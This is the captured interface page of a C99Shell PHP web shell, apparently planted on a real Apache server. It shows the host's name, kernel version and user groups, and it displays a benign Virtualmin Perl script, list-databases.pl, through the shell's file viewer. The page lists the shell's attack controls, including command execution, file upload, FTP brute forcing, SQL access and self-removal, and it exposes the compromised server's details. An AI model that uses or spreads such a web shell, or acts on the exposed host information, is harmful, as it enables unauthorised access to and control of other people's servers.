!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     list-databases.pl (3.27 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl

=head1 list-databases.pl

Lists databases for some virtual server

This program simply displays a list of MySQL and PostgreSQL databases that are owned by one server. You must supply the C<--domain> flag followed by the domain name of the server to list. By default the output is in a reader-friendly table, but the C<--multiline> option can be used to switch to a format more suitable for reading by programs (and containing more information).

To output just a list of database names, use the C<--name-only> flag. To limit
the list to databases of a particular type, use C<--type> followed by a code
like C<mysql> or C<postgres>.

=cut

package virtual_server;
if (!$module_name) {
    $main::no_acl_check++;
    $ENV{'WEBMIN_CONFIG'} ||= "/etc/webmin";
    $ENV{'WEBMIN_VAR'} ||= "/var/webmin";
    if ($0 =~ /^(.*)\/[^\/]+$/) {
        chdir($pwd = $1);
        }
    else {
        chop($pwd = `pwd`);
        }
    $0 = "$pwd/list-databases.pl";
    require './virtual-server-lib.pl';
    $< == 0 || die "list-databases.pl must be run as root";
    }

# Parse command-line args
while(@ARGV > 0) {
    local $a = shift(@ARGV);
    if ($a eq "--domain") {
        $domain = shift(@ARGV);
        }
    elsif ($a eq "--multiline") {
        $multi = 1;
        }
    elsif ($a eq "--name-only") {
        $nameonly = 1;
        }
    elsif ($a eq "--type") {
        $type = shift(@ARGV);
        }
    elsif ($a eq "--help") {
        &usage();
        }
    else {
        &usage("Unknown parameter $a");
        }
    }

$domain || &usage("No domain specified");
$d = &get_domain_by("dom", $domain);
$d || usage("Virtual server $domain does not exist");
@dbs = &domain_databases($d);
if ($type) {
    @dbs = grep { $_->{'type'} eq $type } @dbs;
    }
if ($multi) {
    # Show each database on a separate line
    if (defined(&list_domain_scripts)) {
        @scripts = &list_domain_scripts($d);
        }
    foreach $db (@dbs) {
        print "$db->{'name'}\n";
        print "    Type: $db->{'type'}\n";
        ($size, $tables, undef, $count) = &get_one_database_usage($d, $db);
        if ($size) {
            print "    Size: ",&nice_size($size),"\n";
            print "    Byte size: ",$size,"\n";
            }
        if ($count) {
            print "    Files: ",$count,"\n";
            }
        print "    Tables: $tables\n";
        if ($db->{'host'}) {
            print "    Host: $db->{'host'}\n";
            }

        # Show scripts that use it
        @slist = ( );
        foreach $sinfo (@scripts) {
            ($dbtype, $dbname) =
                split(/_/, $sinfo->{'opts'}->{'db'}, 2);
            if ($dbtype eq $db->{'type'} &&
                $dbname eq $db->{'name'}) {
                push(@slist, $sinfo->{'name'}." ".
                         $sinfo->{'version'});
                }
            }
        if (@slist) {
            print "    Used by scripts: ",join(", ", @slist),"\n";
            }
        }
    }
elsif ($nameonly) {
    # Just show DB names
    foreach $db (@dbs) {
        print $db->{'name'},"\n";
        }
    }
else {
    # Show all on one line
    $fmt = "%-30.30s %-20.20s %-15.15s %-10.10s\n";
    printf $fmt, "Database", "Type", "Size", "Tables";
    printf $fmt, ("-" x 30), ("-" x 20), ("-" x 15), ("-" x 10);
    foreach $db (@dbs) {
        ($size, $tables) = &get_one_database_usage($d, $db);
        printf $fmt, $db->{'name'}, $db->{'type'},
                 $size ? &nice_size($size) : "Unknown", $tables;
        }
    }

sub usage
{
print "$_[0]\n\n" if ($_[0]);
print "Lists the databases associated with some virtual server.\n";
print "\n";
print "virtualmin list-databases --domain domain.name\n";
print "                         [--multiline | --name-only]\n";
print "                         [--type dbtype]\n";
exit(1);
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--